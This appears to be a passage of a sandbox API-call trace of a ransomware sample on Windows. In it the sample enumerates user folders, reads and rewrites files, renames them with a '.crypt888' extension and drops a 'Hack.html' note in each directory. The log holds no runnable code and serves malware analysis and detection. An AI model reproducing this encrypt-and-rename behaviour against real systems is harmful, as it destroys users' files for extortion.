HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\revjcmu3wbwb\\lfgfgzh2uh434lotmjl.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e742a30, ftCreationTime.dwHighDateTime=0x1d45b62, ftLastAccessTime.dwLowDateTime=0xcfc0f8f0, ftLastAccessTime.dwHighDateTime=0x1d459b5, ftLastWriteTime.dwLowDateTime=0xc2fc6c80, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10d80)) returned 1 [0083.525] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0083.525] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\revjcmu3wbwb\\lfgfgzh2uh434lotmjl.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\LFgFGZh2uH434lOTMjl.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\revjcmu3wbwb\\lfgfgzh2uh434lotmjl.m4a.crypt888")) returned 1 [0083.526] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\Hack.html", lpFilePart=0x0) returned 0x4b [0083.526] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0083.526] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\revJcmu3wBWb\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\revjcmu3wbwb\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.527] GetFileType (hFile=0x174) returned 0x1 [0083.527] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0083.527] GetFileType (hFile=0x174) returned 0x1 [0083.527] WriteFile (in: hFile=0x174, lpBuffer=0x273e440*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x273e440*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0083.528] CloseHandle (hObject=0x174) returned 1 [0083.528] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\Hack.html", lpFilePart=0x0) returned 0x3e [0083.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0083.528] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\d5b8q\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\d5b8q\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.529] GetFileType (hFile=0x174) returned 0x1 [0083.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0083.529] GetFileType (hFile=0x174) returned 0x1 [0083.529] WriteFile (in: hFile=0x174, lpBuffer=0x2740c40*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2740c40*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0083.530] CloseHandle (hObject=0x174) returned 1 [0083.530] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Hack.html", lpFilePart=0x0) returned 0x38 [0083.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0083.530] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\r1xxDa8OLt\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\r1xxda8olt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.530] GetFileType (hFile=0x174) returned 0x1 [0083.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0083.530] GetFileType (hFile=0x174) returned 0x1 [0083.531] WriteFile (in: hFile=0x174, lpBuffer=0x2743428*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2743428*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0083.531] CloseHandle (hObject=0x174) returned 1 [0083.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0083.532] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW", lpFilePart=0x0) returned 0x2c [0083.532] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\", lpFilePart=0x0) returned 0x2d [0083.532] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0083.532] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.532] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.532] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.532] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.533] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.533] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0083.533] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0083.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0083.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0083.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0083.533] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW", lpFilePart=0x0) returned 0x2c [0083.533] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\", lpFilePart=0x0) returned 0x2d [0083.533] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a8a8 [0083.533] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0083.534] FindNextFileW (in: hFindFile=0x59a8a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0083.534] FindClose (in: hFindFile=0x59a8a8 | out: hFindFile=0x59a8a8) returned 1 [0083.534] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0083.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0083.535] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a", lpFilePart=0x0) returned 0x42 [0083.535] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0083.535] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w bx6lpw\\8etwsw5ishvfbazl-.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.535] GetFileType (hFile=0x174) returned 0x1 [0083.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0083.535] GetFileType (hFile=0x174) returned 0x1 [0083.535] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xa662 [0083.535] ReadFile (in: hFile=0x174, lpBuffer=0x27466bc, nNumberOfBytesToRead=0xa662, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x27466bc*, lpNumberOfBytesRead=0x39ed24*=0xa662, lpOverlapped=0x0) returned 1 [0083.536] CloseHandle (hObject=0x174) returned 1 [0083.554] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a", lpFilePart=0x0) returned 0x42 [0083.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0083.554] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w bx6lpw\\8etwsw5ishvfbazl-.m4a"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.555] GetFileType (hFile=0x174) returned 0x1 [0083.555] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0083.555] GetFileType (hFile=0x174) returned 0x1 [0083.556] WriteFile (in: hFile=0x174, lpBuffer=0x27b2944*, nNumberOfBytesToWrite=0xa670, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x27b2944*, lpNumberOfBytesWritten=0x39ed14*=0xa670, lpOverlapped=0x0) returned 1 [0083.557] CloseHandle (hObject=0x174) returned 1 [0083.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a", lpFilePart=0x0) returned 0x42 [0083.558] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a.crypt888", lpFilePart=0x0) returned 0x4b [0083.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0083.559] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w bx6lpw\\8etwsw5ishvfbazl-.m4a"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885faf0, ftCreationTime.dwHighDateTime=0x1d45eca, ftLastAccessTime.dwLowDateTime=0xe5f58e70, ftLastAccessTime.dwHighDateTime=0x1d46391, ftLastWriteTime.dwLowDateTime=0xc3012f40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xa670)) returned 1 [0083.559] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0083.559] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w bx6lpw\\8etwsw5ishvfbazl-.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\8EtwSW5ISHvFBAzL-.m4a.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w bx6lpw\\8etwsw5ishvfbazl-.m4a.crypt888")) returned 1 [0083.560] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\Hack.html", lpFilePart=0x0) returned 0x36 [0083.560] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0083.560] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\W bX6LpW\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\w bx6lpw\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.560] GetFileType (hFile=0x174) returned 0x1 [0083.560] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0083.560] GetFileType (hFile=0x174) returned 0x1 [0083.561] WriteFile (in: hFile=0x174, lpBuffer=0x27beac8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27beac8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0083.562] CloseHandle (hObject=0x174) returned 1 [0083.562] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html", lpFilePart=0x0) returned 0x2d [0083.562] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0083.562] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.562] GetFileType (hFile=0x174) returned 0x1 [0083.562] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0083.563] GetFileType (hFile=0x174) returned 0x1 [0083.564] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0083.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents", lpFilePart=0x0) returned 0x2a [0083.564] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\", lpFilePart=0x0) returned 0x2b [0083.564] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0083.564] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0083.566] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\Hack.html", lpFilePart=0x0) returned 0x34 [0083.566] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0083.566] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\my documents\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.567] GetFileType (hFile=0x174) returned 0x1 [0083.567] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0083.567] GetFileType (hFile=0x174) returned 0x1 [0083.567] WriteFile (in: hFile=0x174, lpBuffer=0x27c4628*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27c4628*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0083.583] CloseHandle (hObject=0x174) returned 1 [0083.585] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0083.585] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood", lpFilePart=0x0) returned 0x25 [0083.585] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\", lpFilePart=0x0) returned 0x26 [0083.585] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0xffffffff [0083.585] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed88) returned 1 [0083.587] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\Hack.html", lpFilePart=0x0) returned 0x2f [0083.587] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0083.587] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\nethood\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0083.588] GetFileType (hFile=0x174) returned 0x1 [0083.588] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0083.588] GetFileType (hFile=0x174) returned 0x1 [0083.588] WriteFile (in: hFile=0x174, lpBuffer=0x27c7948*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x27c7948*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0083.589] CloseHandle (hObject=0x174) returned 1 [0083.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0083.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0083.590] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpFilePart=0x0) returned 0x27 [0083.590] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a1e8 [0083.590] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.590] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.590] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.591] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.591] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.591] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.591] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.591] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.591] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.592] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.592] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0083.592] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0083.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0083.592] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0083.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0083.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures", lpFilePart=0x0) returned 0x26 [0083.593] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpFilePart=0x0) returned 0x27 [0083.593] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a1e8 [0083.593] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.593] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.593] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.594] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.595] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.595] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0083.595] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0083.595] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0083.595] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0083.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0083.596] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg", lpFilePart=0x0) returned 0x36 [0083.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0083.596] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gw4HqDWszDa.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\gw4hqdwszda.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0083.596] GetFileType (hFile=0x174) returned 0x1 [0083.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0083.596] GetFileType (hFile=0x174) returned 0x1 [0083.596] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xfaf4 